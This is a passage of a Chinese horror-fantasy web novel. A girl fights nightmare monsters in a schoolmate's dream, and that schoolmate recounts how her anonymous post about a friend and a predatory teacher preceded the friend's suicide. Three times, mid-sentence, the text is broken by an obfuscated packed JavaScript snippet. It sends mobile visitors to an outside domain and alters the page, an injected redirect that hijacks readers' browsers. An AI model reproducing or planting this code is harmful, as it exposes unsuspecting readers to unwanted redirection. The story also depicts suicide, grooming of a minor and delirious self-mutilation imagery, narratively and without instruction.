她朝着挤满走廊乌泱泱的人海挥动,它们像是一簇簇实体化的雾气,被刀刃砍成两段后缓缓消散。每个人残破的脸上都是相似的恐慌,像是诡异的动物哀嚎声此起彼伏。 那一团团人影消散后,中间只留下一个人。 那就是只能活在耿芷芯噩梦中的安妍吧。长长的黑发,干涸的血迹,她们打照面太多次了,已经没什么好大惊小怪,苏夜凛趁着她趴在地上、挣扎着要起身的间隙,前迈一步,毫无犹豫地一刀劈下。 “咿咿咿咿咿呀呀啊啊啊啊啊——!!” 传来了尖锐的怪物的哀叫,纤细的身体随之断成两截。她没法再起身了,但可以看见她的手指仍然在颤抖。 苏夜凛想给予最后一击,但是她迅速地感到一阵脱力。 先是腿软,然后是能量耗尽导致的眩晕,手里紧握的镰刀也迅速消失,仿佛在夏日的正午被抽干了水分。 她挣脱乏力感,支起身体。墨菲斯又快速地跑到她的身前。 “别冲动!”黑猫警惕地弓起身,“先保存你的力量,不要滥用。而且现在,我们最好找个地方躲起来。” 保存力量?可是消灭梦魇的机会就在眼前…… 苏夜凛捂着腹部,她也不得不承认,刚才的消耗太大了,甚至于内脏都有点抽搐。但是她不认可墨菲斯的劝说,为什么不趁此机会彻底将梦魇消灭呢? 不过下一秒,她就明白了。 眼前,“安妍”的身体重新动了起来。她不是恢复了,而是分离的上下半身各自动了起来,十指扒着地面,膝盖抵着砖缝,拖着流不尽的血和其他粘稠的组织,像虫孑一样缓慢向前。 比起害怕,苏夜凛更多的是崩溃和难以理解。如果刚才的一切都没有什么用处,那么梦魇究竟要如何才能消灭得了呢? “跑起来吧,”似乎看出她的所想,墨菲斯开口劝说,“刚才那一下很重,已经让她行动困难了,不是徒劳无获,这个走廊还有那么多的教室,肯定还有更多的线索。” 苏夜凛闻言,默默起身,调动依然疲惫的身体,继续朝着走廊的遥远尽头跑去。 她不剩多少力气了,幸好“安妍”的速度也够慢,她已经无法使出那神出鬼没的力量,冒头惊吓和阻碍自己。 “墨菲斯,这次不能帮我回复一下了吗?”苏夜凛一边观察墙上的变化,一边对身旁的黑猫发问。 “不太行,我可以帮你适当地修复损伤,但是像你刚才那样编织武器,耗费的能量太大了,只能等时间来恢复。”墨菲斯轻捷地奔跑着,虽然他现在没什么力量,但是好在,他似乎不会受梦境本身或梦魇创造的怪物影响。 “另外,我刚才叫你跑还有一个原因——我发现那个女孩身上,只是梦魇核心的‘一半’。”说到这里,墨菲斯的语气变得深重,“刚才,如果你用尽所有力气,哪怕消灭了她,有可能另一半的梦魇正在虎视眈眈,那样我们就很麻烦了。” 原来是这样,但苏夜凛也没时间感慨了,她把注意力放在了观察教室。恐怕另一半虎视眈眈的梦魇,也就在这附近吧? 和最初空旷的样子不同,在她解决了玩“木头人”的那一大片学生后,他们全都被关进了教室里。隔着教室门的窗口还能看见,每个班级里还上演着不一样的戏码。 有的班里,大家三五成群,但是并不是在闲聊,他们分裂成了几个小组合,每个组合都会“选中”一个形单影只的同学,对这个人释放恶意。有人对其指指点点,有人大笑到直不起腰,也有人抄起椅子,直接砸到落单同学的脑袋上。 有的班级则全然相反,大家都在学习,头也不抬地学习,沉默死寂地学习。灰色的眼睛离不开课本,无形的重量压弯了脖颈——如果忽略掉被吊在天花板风扇上,晃来荡去的那一名同学的话,他们倒是和谐又正常。 她也发现了用途不一样的教室——有的是杂物间,有的是机房,还有老师办公室。 办公室的气氛都十分沉默,不管身边周围有什么喧闹和怪异,哪个班级的学生在躁动,老师们都不太在意。有人在备课,改卷,有的则是拿着电话,满脸堆笑,手里是厚厚的材料,似乎是在申请评级或者表彰。 她看到一个熟悉的身影,桌子上堆满了练习册和教案,似乎注意不到身边的任何事情。 走过这个办公室门前的时候,她才意识到——那可能是与自己也有一面之缘的白老师,她手里有一只粉色的钢笔,苏夜凛对此有一点印象。 她回头,“安妍”虽然紧追不放,但是她的速度还是很慢,暂时不会威胁到自己…… 感觉力量也恢复了一些,怎么办,要不要趁此机会,给她致命一击,再去搜寻墨菲斯说的,梦魇的“另一半”? 不,还是保持谨慎吧,谁也不知道这条走廊上会突然冒出什么…… 苏夜凛的视线刚要离开安妍,发现她居然停下了一会儿。 一直穷追不舍的她,俨然只是个怪物的她,,朝着刚刚路过的那间办公室里投去了目光。 白老师?她是在看白老师吗——虽然没有人能证明,但是苏夜凛莫名其妙就产生了这种直觉。 不妙,她看到安妍分裂的身体,似乎正在慢慢地愈合。过不了一会,她肯定就会追上自己。 苏夜凛又向前冲刺了几步,她有点焦急,梦魇的“另一半”,究竟是什么? 充满恶意的同学们,事不关己的老师们,谁才是问题的源头呢? 如果要联系到现实中自己知道的情况,自杀、谣言、朋友之间的嫌隙……还有竞赛加分什么的?许多混乱的信息涌向苏夜凛脑中,却没有明确的解答,她只感觉茫然。 想到这里,突然感觉有一道灵光击中了自己,苏夜凛停下脚步。 刚才自己一路跑来,教室的顺序是规整的,办公室的铭牌也是,不同科目组的办公室分得很清楚,就像现实中的万松中学一样。 塑造了这个梦的人,也就是耿芷芯,对学校里发生的事情一定是刻骨铭心吧…… “墨菲斯,我们刚才有没有路过数学办公室?”苏夜凛感觉脑袋里有一些模糊的想法正在成型,随即向墨菲斯询问。 “有,和语文办公室是挨着的。怎么,你要折返回去吗?” 苏夜凛看着身后,拖着逐渐愈合的身体、向前爬行的安妍。 如果要折返,一定会路过怪物安妍的身边,不过她短时间还是受伤的状态。只要趁着她还在恢复的期间,跑回数学办公室……虽然是一个有风险的选择,但是她决定一试。 苏夜凛迈开双腿。她发现,梦里有一个好处,就是身体比现实中轻快很多,她到目前为止,虽然受过伤,一直走路跑步没停下过,却没有想象中疲惫。 “看来,你已经有头绪了?”墨菲斯走在她跟前,领她朝着数学办公室奔去。 苏夜凛不置可否,但是她觉得现在自己的意识更加清明,许多模糊的信息都缓缓地链接在一起。 刚才她路过时候,某一个办公室里面有三个人……正襟危坐的,皱眉抱怨的,打电话满脸堆笑的……和其他的地方区别不大。 其中有一个人的特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016905|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 征显眼——那是个高大的男老师,袖口露出一截设计独到的腕表。 她感觉,在这个梦里,在细节上有某种明显特征的人并不多。就像握着钢笔的白老师。所以这个人的存在,恐怕有特殊的意义。 而且她总觉得,这个男性的身影,之前也在什么地方出现过…… 总之,这也是赌的时候,只看最后一块拼图,是不是如她所想! 窗外的光原本是雾蒙蒙、不明晰的,此刻也发生了变化,一片浓沉的血红色夕阳蒙住苏夜凛的视野。 毫不意外,梦魇也在准备着反击。整个空间都在被扭曲,本来宽大明朗的走廊逐渐变得狭窄,安妍也越来越靠近苏夜凛。她居然从那张残缺的脸上看出了喜形于色。 苏夜凛本想快速躲避她,没想到,安妍的手指变得格外细长,连着手腕和胳膊都延伸着、拉长着,向她的脚腕伸去…… 唰啦—— 突然间,一片清亮的银蓝色光芒扫射开来,覆盖了整个世界,梦中的一切都被暂停了。少女伸出来的手也留在半空中,原本惨白的皮肤镀上了银蓝的底色。 是墨菲斯的干涉!就像第一回的梦境里,墨菲斯也是赶在隔壁的“屠夫”挥刀之前,短暂地冻结了空间,并且唤醒了苏夜凛…… 苏夜凛心领神会,轻身一跳,跃过安妍,直达办公室的门前。 她深吸一口气。这里,变得和之前不一样了。 满地都是散乱的纸张、订书针、上面盖满红色的公章。 原本有三位老师,现在,只剩下那名高个的男人,他倚着桌子,面孔被一片阴沉的影子笼罩,苏夜凛只能看见,他的嘴角挂笑。不知怎的,那微笑让她不寒而栗。 不管他是不是那个梦魇的半身,这家伙让苏夜凛感觉很糟。 再不济,他也是梦境生产的怪物,时间紧迫,先砍下去试试吧? 苏夜凛正打算这么做,然而,墨菲斯对空间的的冻结此时也停止了。 空间开始流动,那个人抬起头,这短暂的一瞬却让苏夜凛一怔。 他的嘴巴睁开了,露出灰白色的瞳仁——不,应该说,刚才苏夜凛以为是嘴巴的部分,其实是一只巨大的眼睛。含笑的嘴角,恰好是眼睑合上的弧度。 被他凝视着,苏夜凛突然感觉全身的血液冻结了一般,原本跃跃欲试、想要一刀了解他的战意,似乎全部被封印。 此刻,她的双手双脚,都像被按在了原地,动弹不得。 不对,不如说这就是这个怪物的力量!他不直接进攻,而是用视线,让苏夜凛僵硬,再找到剩下那一半的梦魇,将少女蚕食殆尽…… 这才是梦魇的完全体、梦魇消灭她这个挑战者的方式……她选错了,她中了圈套。苏夜凛心中泛起绝望。 男人直起身,他比视线所能看到的还要高,被窗外漫入的红色光线,拉成了长长的一条,四肢、躯干,都在以不正常的速度生长,但他迈向苏夜凛的脚步,又极其缓慢。 被禁锢在原地的苏夜凛本能地感觉到恐怖。她想呐喊,她想逃离,她想爆发出全身的力量撕碎这个境界…… 似乎是响应她的想法,一道黑色的迅影飞到苏夜凛面前,短暂地遮蔽了她的视线。 “不要接触他的视线。先闪到一边去!”墨菲斯的声音响起。 随着视线被遮住,她看不到对面的眼睛,苏夜凛感觉自己身上的束缚也解除了,血液缓慢地再次流动。 她狼狈地滚到一旁,但是时机并不凑巧。 摸爬滚打的“安妍”也接近了她的身边。而她的身后,本来应该无尽的走廊,不知何时也有了尽头,变成了厚实的一堵水泥封死的墙。她被困住了。 18. 转角间 13 ==== 身体缩在墙根,现在的问题很简单也很致命:自己该往哪逃? 如果按照常理,快速地冲到安妍身后,就能远离这两个人。如果另辟蹊径一点,她可以试试打破走廊边的窗户,直接跳下去…… 不过很快,她做出了另一个选择——原来在这种真正危急的时刻,身体会快于大脑做出决策。 苏夜凛弓下腰,遮住眼睛,冲进了数学办公室中。 悲观点想,现在是两个怪物在围剿自己的局面,但是反过来说,也是自己将他们一网打尽的机会。 然而,一直跟着自己的安妍却没有爬进数学办公室,而是停在门口,几乎愈合的身体动弹不得。 仿佛她也在害怕这个男人——苏夜凛立即冒出这样的想法。 现状没有给她思考的余地。像一样藤蔓的东西抓住了她的脚腕,爬上了大腿。仔细一看,那是无数畸形、增生拉长的手指,像疯狂生长的肉色树枝。 编织武器的力量要省着用,她只幻化出一把小刀,割断了那一堆手指的根部,叫它不能再无限生长。 一堆长长的手指残骸还黏连在她的皮肤上,不过苏夜凛已无暇顾及。只在盘算对策。 下一步,就是如何对付这个男人。苏夜凛有预感,如果能直接刺瞎那双眼睛,她就有很大胜算! 但是,她不能抬头看!当然也找不到剑锋该对准哪里…… “接着这个!” 一筹莫展之际,墨菲斯丢给她一个东西。手掌大小,圆盘形、冰凉的金属外壳,上面有精致的雕花。 苏夜凛按下边缘的按扣,金属雕花的一边弹起,露出了镜面。这是一块化妆镜。 前方,一阵冷冽的紧迫感缓缓游来,压向她的全身。显然,那只眼睛正牢牢地抓住自己。 她忙不迭地将镜面对向了前方。然后听到了类似于爬行动物蠕动的声音。 苏夜凛不敢直接抬眼,但是她用余光看到了,那个男人过于长的四肢、以及四肢上衍生出来的树枝一般繁多的手指,全部都蜷缩起来,萎缩、自我缠绕成一团,不断发抖。 似乎就如美杜莎的神话一样,镜子“反射”的特性,将男人的目光反弹到了回去? 苏夜凛立刻想要唤出一把剑,快速斩杀掉对方,但是还没凝结出力量,脚腕上便缠上另一只冰凉的手。 是她,刚才卡在办公室门外无法进入的安妍,此刻却触碰到了苏夜凛。 苏夜凛模糊地感觉,这两个人是一种互斥的关系。虽然苏夜凛不会被他们夹击,但是男人被限制之后,少女就变得无所畏惧。 “把镜子合上,”是墨菲斯的声音:“可以把他暂时关进里面!” 她迅速照做。此刻,大脑已经处理不了墨菲斯说了什么,但是身体驱使着她的右手发力,咔哒一声,折叠的化妆镜被盖上。 但同时,安妍那只手也开始迅速变长,指甲变得锋利,像条不断延伸的蛇,往苏夜凛的小腿上攀爬、生长、紧绞……用力一扯! 苏夜凛失去平衡,膝盖重重磕在地上,着地的额头也一阵剧痛,眼角痛得冒泪。连带着,她也无法反击,只能紧抓手里的镜子。 抓住了她的“安妍”欣喜若狂,不管不顾地爬到苏夜凛的身上,仿佛一个饿鬼见到了新鲜食物,打算大快朵颐。 “墨菲斯,你快点暂停一下时间!”女鬼安妍舌头舔上脸颊,苏夜凛浑身起鸡皮疙瘩,大声呼喊。 但是梦神不为所动。 “可以的话我早帮你了,那个只能用一次。”他的语气过分冷静,在当事人听来无异于带来绝望。 “我靠你为什么不早说??”眼见女鬼的头发垂下,逐渐遮住了视线,苏夜凛甚至看不见那只猫在哪,只能无能狂怒。 “你再撑一下,我用那些道具和力量也需要恢复时间,待会就能帮你脱身了。” 开玩笑吧,她看起来像是“撑一下”就可以过去的样子吗? “没关系,这点程度也不算严重,你也不会死,放心。” 显然,墨菲斯是不会考虑这种时候她受了什么焦虑和创伤的,更不会想着用什么话来安慰她。 或许确实如墨菲斯所说,这还不算是太严重的事情,毕竟这个安妍只是梦魇的一半。 但是苏夜凛还是觉得自己撑不过去——女人的头发正在绞住自己的脖颈,缠绕,收紧,有些还试图往她的耳朵、鼻子甚至眼睛里钻……细密的束缚和疼痛窸窸窣窣,让她觉得自己的理智不断流失。 恶心、恐惧、粘稠地搅在一起发酵,她感觉自己的理智又要一步步崩溃了,脑子开始变得混沌,无尽的疯狂开始攀升。 她想干什么?!她是否想要切开自己的喉咙断开自己的四肢,拉扯血管放出鲜血把断裂的四肢压成碎片再融合?? 是的一定会苏夜凛会被这两个梦魇蚕食女人会拿走自己的上半身男人会拿走自己的下半身订书针和纸张和布料?他们会把苏夜凛缝在布料上她们会把苏夜凛贴在书页上他们会把苏夜凛挂在教室的天花板吊扇上这样她就可以看着死人一样的学生们低着头奋笔疾书啦好快乐…… 切断四肢……如果切断四肢的话……自己的四肢还能自由行动吗?苏夜凛突然很好奇这一点。 可以的,一定可以,安妍被她砍了之后不也一路爬过来了吗?她可以我凭什么不可以啊?不过是断手断腿又算什么?说不定我可以分裂之后重生变成好几个呢! 一些疯疯癫癫的念头流过苏夜凛的脑子,然后,她突然为之一振,感觉有一个成型的想法从混乱的脑内跳出。 她停止了反抗,即便女鬼还在用长发绞住她的咽喉和手脚,疼痛都转变为麻木。她甚至幻想着自己左手的关节格外脆弱,再轻轻碰一下就会断掉…… 然后,啪一声,她的左手真的被绞断了。 女鬼似乎没把这点小事放在眼里,她只是觉得怀里的猎物变得更脆弱、更任自己摆布了,喜悦地深长舌头,舔舐苏夜凛紧闭的眼睛。 可是下一秒,有什么东西死死从后面掐住了脖颈——不是苏夜凛的,而是“安妍”的脖颈。 女鬼安妍本来还沉浸在饱餐一顿的喜悦,此刻却方寸大乱。 那个飞起来从后面突袭的东西,正是苏夜凛的断手。只是那玩意现在变成了钳子一般的东西,正在用最大的力气掐住安妍,让她无法行动。 苏夜凛的“手”也是丝毫不收敛力气,几乎要把安妍的脖子掐断。女鬼的嗓子里也发出嘶哑的哀嚎,疯长着要把苏夜凛吞噬殆尽的头发,也失去了活力。 苏夜凛趁机挣脱了束缚。刚才,那些头发几乎要顺着耳朵和鼻腔爬进她的大脑了!现在,她终于从无法控制的恐惧里解放了,视野和思维都逐渐回归正常。 但是随着脑子变得正常,其他的感官也正常回归了—— 左手的断腕,现在传来剧烈的疼痛。她看了一眼空落落的手臂,伤口的截面正血流如注。奇怪的是她的总感觉手指还存在,还能操作,但是不管怎么动,左手都空空如也。 难以想象现在的自己真的断掉了一只手,一阵不同于刚才癫狂的诡异感包围了苏夜凛,那是一种清晰的恶心和恐惧 而且,随着她变得清醒,刚才因为疯狂变出的“钳子”也失效了,变回了一只青灰色、失去血液供给的断手。女鬼安妍的身体在地下蜷缩抽动,似乎在酝酿下一次的攻击。 这家伙到底要几次才能杀死?苏夜凛的内心十分崩溃。 更糟糕的是,她感觉右手的掌心里,镜子的金属外壳正在疯狂振动,似乎有什么东西要破裂爆出。 剧烈的振 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016906|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动之下,苏夜凛无法再握住,镜子从手中掉出。 想都不用想,肯定是被关进去的那个男人要从狭小的镜盒里挤出来了。光是想一下那个场景,苏夜凛都更加不寒而栗。 化妆镜掉在地上,打了个转,缓缓地停下,苏夜凛预感到,真正的噩梦即将破茧而出。 所有的一切,似乎都只在一瞬之间发生,所有的场景都只让人感到绝望和焦躁。 墨菲斯还没法出手吗?不过就算他出手,又能改变什么呢?他现在能做的那一点干涉不过是拖延时间,再展开一个追逐战的循环而已,而苏夜凛还是无法战胜这两个怪物。她累了。 在苏夜凛几乎要放弃思考之际,黑色的影子轻巧跃过,在那块化妆镜的按钮上押了一下。 咔哒一声,镜盖子打开,里面飞出了黑色的粘稠怪物。男老师化成的怪物哪怕关在镜子里,也不断疯长,现在已经看不出人类的形状,他身上的肢体和关节多得可怕,相比于刚才膨大了快一倍,光是出现在苏夜凛视野里,已经是名副其实的噩梦。 章鱼一般蜷缩着肢体的巨大黑影从小小的镜面中溢出,她都能想象那玩意下一秒扑向自己的样子。 但是镜面并不是对着苏夜凛的,而是对着另一个噩梦化身——再次爬起的安妍。 几乎气馁了瘫坐在地上的苏夜凛瞪大眼睛。 那一男一女的身影,或者说是两只怪物在互相撕扯。安妍的头发不停地将男老师推开、将他的手指绞断、将他的 而男老师则是不断长出更多的手,像海洋生物一样再生,像章鱼一样蠕动,缠住少女的腿脚、控制着她的行动,连她哀嚎的声音都剥夺…… 她终于想起了,为什么自己对办公室里的男人印象深刻,并隐约感觉他就是梦魇的另一半——第一次苏夜凛进入耿学姐的梦境时,在天台的转角见到那两个相谈甚欢的人,一个是安妍,一个就是他。 脑袋里潜藏着的各种信息如潮水般回涌: 白老师口中的“那男的评上级了” 网络信息里的“高中女生为情所困” “你们不知道啊?她攀上老师这事儿,老师没有答应,罪有应得,嘻嘻……” 此刻,怪物化的男人占据了上风,他的身体不断膨大,似乎再过几秒,这一整条走廊都无法堆下了。 而在这无尽的压迫之下,安妍空洞的眼眶里,不断地渗出血泪,破损的半张脸上,肉眼可见地腐烂、仿佛被什么化学物质溶解。 “你还愣着干什么?”墨菲斯的语气急切起来,蓝色的猫眼盯着苏夜凛,“现在不就是杀了他的机会吗!” “要你提醒?!” 苏夜凛脑子一热,跌跌撞撞地爬起。不知怎的,她从没感觉自己的能量如此充沛过。 最后一次,她召唤出了那把巨大的镰刀,足以贯穿已经变成异形的两人的身体。 直到挥舞镰刀时,苏夜凛才意识到,自己的左手已经复原了——缝合的部分还有丝线的痕迹,泛着银蓝色光芒。 站在旁边的墨菲斯歪头,似乎是在暗示他修复的功劳。苏夜凛倒是希望他能早点做这件事,不过也好,动用双手才能不偏不倚地让刀刃正中目标。 少女手中,绽裂的清光瞬间席卷了一切,“安妍”的嚎哭声,不成人形的“男老师”,以及阴森的教室、趴在班级门口的学生,以及血色夕阳笼罩的天空……全部都被扫荡一空。 余烬一般弥漫眼前的白光持续了很久,过了好一会儿,苏夜凛感觉疲惫涌上,满天的白光才逐渐消失。 她以为自己马上就要从梦中醒来了,但是很快,她又瞪大了眼睛。 她和墨菲斯又回到了那个天台,清冽的风,辽阔的天际线,金色的傍晚。 而她眼前的那个人,是独自凭栏远望的耿学姐。 19. 转角间14(本章完) 毫无疑问,那个凭栏远望的身影是耿芷芯。苏夜凛忌惮着这是不是梦世界创造的又一个怪物,但是她的模样看上去没有任何扭曲,也没有引发苏夜凛的不适或者疯狂。 周围的气氛甚至可以说是清爽和煦,但是唯独不见墨菲斯的身影。 此时,耿学姐似乎也看到了她,有些惊奇地望过来。不过,苏夜凛觉得那张脸上,更多的是一种麻木和疲惫。 她迟疑了一会,走上前去。但是停在耿芷芯旁边,她却也不清楚该对这位学姐说什么。 “……你是,苏夜凛吗?”反倒先是对方发话询问,作为梦境的主人,耿芷芯也不知道为什么会有这样一个本不相干的人闯入,微微皱眉。 “学姐你好。”苏夜凛有些忐忑地回话。 “你为什么在这?原来如此,这是梦吧?不过我知道,即便是梦里,我也没法杀了那两个人,难道是你在帮我?” 她发现耿芷芯的语气、姿态,都完全不同于在学校时那种柔和且富有温度的感觉,反而是充满一种抽离的冷淡,以及疲惫。 苏夜凛不知道怎么接话,只是点点头,随后心里又有点犯嘀咕。因为墨菲斯不在身边,她也不知道究竟该不该对梦的主人说这么多话。 耿学姐醒来后会记得这一切吗?应该不会吧。但是如果她能想起,对苏夜凛来讲究竟是好事还是坏事?她脑子里忍不住思考这些有的没的。 “那就,谢谢你咯。鬼知道我被这些怪梦纠缠了多久。”耿芷芯舒了口气,语气有几分戏谑:“继续在梦里见到他们,我也要从这个天台往下跳了。” “学姐……之前究竟发生了什么?”苏夜凛试探着开口:“虽然旁观了一些,但是我还是不明白,你脑中的怪物是谁,学校里又为什么会发生这么多奇怪的事……” 当然苏夜凛多少在装傻,毕竟她调查了一番之后,已经对耿芷芯曾经的人际关系、乃至万松中学这个关键地方有点了解。 “想听故事?没问题啊,反正醒来之后也不会记住。”她无所谓的模样里有一丝自暴自弃,”如果是以前我肯定不会讲,但是事到如今,发现有些事憋在心里,也不会自然而然就淡忘,那就讲给你听听吧。” === 以前她是我最好的朋友,这毋庸置疑。 我这个人很敏感,会习惯性地观察和分析身边的一切,有时候我都讨厌自己的敏锐。对于别人是不是真诚,是不是真的善良,有没有欺骗我、是否对我有所图这些,我都能从各种琐碎小事里感觉得到。 虽然大家都说,学校已经是非常纯粹的环境了,但我觉得不是。 从小到大,我没少在学校观察到各种令人恶心的事情。看起来热情开朗的人有可能会抱团欺负一个孤僻的孩子,表面上德高望的老师也会对学生不闻不问。 所以我多少是有点讨厌人际关系的,但是接受的教育告诉我,你还是要融入大家,至少表面上要温柔,要善于交际,不能做一个特立独行的人……一度让我很矛盾。 不过我也知道,身边有很多单纯的、专注于自己,尽己所能对别人好的人,安妍就是其中之一。只有和她说话的时候,我才能完全地放松,打心底感到舒适,我享受和她一起的时间。 可是后来我觉得自己被背叛了——虽然现在看来,那就是错误的开始。 有一次,大概是大课间的时候,我路过数学办公室,想去借一下打印机,在门口看到安妍,她正和老师聊得很开心。 那位老师,说来可笑,他在学生之中还挺有人气的。不知道是因为同学都在传他家里有点背景,还是因为他本人身材高、气质好,看起来仪表堂堂呢?说不定皆有之。 可能高中这种环境太压抑了,某些还没成熟的孩子,总想要从自己身边找一个可以顶礼膜拜的偶像吧。 据我所知,这位教学模范老师平时可不会露出这么热情洋溢的表情。当时办公室里没有其他人,我一开始只是觉得气氛有点不对,又当自己只是太敏感。 可是下一秒,让我恶心的场景就出现了——我看见老师伸出手,手掌朝上,好像在等着安妍给他什么东西。 然后安妍把自己的双手搭了上去。 我想起来,上个月,有一场含金量很高的数学竞赛,是在高考可以加分那种级别。那时候我和安妍都报名了,等参加竞赛的名字定下来,安妍在,我不在。原本我是真心为她高兴的,因为确实志不在此,我还有更感兴趣的东西。 可眼见这一幕,我产生怀疑了。平时她的数学成绩比我稍微高一点点,但是那一次竞赛设置的入门考试,我悄悄查过,实际是我的分数要高一点……而且她也说过,自己那次考试很紧张,状态没有很好。 而那个竞赛的数学组指导老师……就是我眼前这位,正牵着她手的男老师。 那个男人手腕上露出来那一块银色的表带,现在对我来说也还是噩梦。当然最大的、我最不能释怀的噩梦,是当时安妍的笑容。 她为什么会露出那种笑容?腼腆的,试探的,好像在期待着谁引导自己走向一个更隐秘的地方。好恶心,这不是我的朋友,这不是我唯一能放心交流的女孩…… 所以,是什么外力让她幸运地入选呢?好难猜啊,好巧合啊? 那个时候我感觉天旋地转,原来我再怎么小心地洞察身边一切,也是无法预测一个人真正面貌的。原来我自以为推心置腹、心思纯真的伙伴,也会为了一些利益的东西做出让我不齿的事情。 在这之后,我也悄悄观察过他们,我的猜想没有出错,只要是在那种非公开场合,那个男的就会对她有些暧昧的举动,而她……她也不反抗。 别看这样,我可是个容忍不了背叛,睚眦必报的人……我平时喜欢写东西,当时,我把这两个人的事情写成了小短文,报复似的匿名发在了班级的水群里。 我本来只是想恶作剧一样搞点小话题,结果告诉我,这一点小水花,最后也能爆发成海啸。 那个东西我发完之后,没一分钟就撤回了,但是班级群还是爆了。而且不止是班级群,年级、学校、最后发展到社会新闻,一切一切都超出了我的控制…… 数学竞赛的名单重选了。吴老师没有被处罚。安妍?你也看到过吧,她跳下去了。 ——在那之后,白老师找我谈过一次话,我当时精神很恍惚,几乎不记得我们说了什么。但是我记得她最后非常失态地瞪着我,好像是问我那条消息是不是我发的。还有什么来着? 哦,我想起来了,她说我为什么就不能先告诉她呢?她这个班主任本来是可以介入的。她说,安妍这样心里还没有成熟的孩子,是无法抗拒老师的诱导的,她未必是自愿的,这也根本不是什么师生恋情,而只是一次可耻的诱|奸……她没有任何的选择。 那个男人杀死了她,网上那些捕风捉影杀死了她,学校里同学不怀好意的嘲讽和恶毒的眼神杀死了她……我知道,她其实还想说,我杀死了她嘛,呵呵,我猜得到。 我做错了吗?我可能错了吧……但是安妍选择这么极端的方法结束一切,也是我根本无法预测的。 我一定是已经告别过去了吧,但是可笑的是,我又总会在梦里见到她,在梦里她会变成非常奇怪骇人的怪物啊,和原本的她完全不同,有没有可能就是她的鬼魂来索命了?好像是提醒我别忘记一样……可是感觉我总会忘记吧,毕竟现在的梦里,连她的脸我都想不太起来了。这就是耿芷芯和安妍的故事,怎么样?能满足你的好奇心吗? === 苏夜凛听得有点愣神。所以说,那些恶意的流言,新闻的说辞,都是来源于......曾经最推心置腹的朋友,耿芷芯对安妍的愤怒或者误会,觉得她背叛了自己的信任,最后让事态超出控制,造成悲剧。 这不对吧,苏夜凛虽然只是旁观者,心里却还是对这件事的前因后果感到难以接受。 “为什么会那样?”苏夜凛感觉自己脑袋有点乱,虽然追究这些已经无意义,但是她有一肚子话要说:“学姐你在发现那件事之后,就不去问问你的朋友吗?既然你自诩能够了解大家的内心,也感受得到安妍值得做朋友,又为什么要做这种事呢?” “……你又懂什么?”耿芷芯似乎艰难地从喉中挤出了那句话,“如果是你,知道了你自己的朋友因为利益,去和老师勾搭在一起,你能理智吗?虽然她可能不是自愿的,但是你当时看到她那副乐在其中的表情,又怎么能够相信她,相信你们的友情还纯洁呢?” 她顿了一秒,又对苏夜凛露出勉强的微笑:“算了,我也不该和你争论什么,毕竟是你帮了我嘛。但是我也希望你不要对我再多置喙,我差不多也放下这件事了。现在想起她的死,我还是感到很抱歉……但也没有更多我能做的事,随着时间放下对大家都好。” “可是学姐,你要是真心觉得自己可以放下的话,你要是真的对她的死只感觉抱歉的话……”苏夜凛难得有如此急切的表达欲,仿佛一阵力量要突破自己的咽喉自行涌出: “如果真是这样,你的梦里……为什么满是恐惧和愧疚呢?” 这是苏夜凛最真实的感受。畸形的校园,病态的氛围,漫天的恐惧,变成怪物的安妍狩猎折磨着梦境的来客,然后在天台的地板上写下密密麻麻的控诉呐喊,直到血迹干涸。 来找我、不是我。接纳我、理解我……你不该冤枉我。 耿芷芯沉默了良久。苏夜凛感到整个梦中世界在逐渐变得模糊,光线变得更强烈。 “你说得对,我其实,从来没有放下过这件事。”耿芷芯仿佛放弃了逞强,声音也变得更微弱: “后来,我悄悄打探,去安妍家问了很多事情……我发现,她的手机上编辑了很多很多的备忘录,其中有不少是打算写给我的……但是没有一份是完整地写好的,也没有一份真正发出去过。 “那个男人很谨慎,他没有留下什么可以指控的证据,而且,学校也明显是站在他那一边的。”说到这里,耿芷芯嗤笑出声,“为了压下去这件热度,他们做了多少事情,我们全校心里都有数。 “我从安妍写的东西能看出,那个时候她精神状态已经很糟糕了。她不停洗脑自己是喜欢老师,无可自拔,做了错误的事,面对其他人的嘲讽霸凌她已经不知道该怎么办了,又无法怪罪给谁.....她爸妈也很无力,官司缠身,不知道该怎么应对学校的施压。原本我是可以帮他们的,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024160|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我自己明白,这件事其实是因我而起……直到过去这么久的现在,马上大家也要忘掉这件事了,我又有什么资格再去怀念、再去介入呢?” “你当然有资格!而且,你必须要做这件事!”苏夜凛感觉世界的边界逐渐模糊,心里爆发的强烈意识叫她变得口不择言。 耿芷芯似乎对她的激动感到惊讶,回头看她。 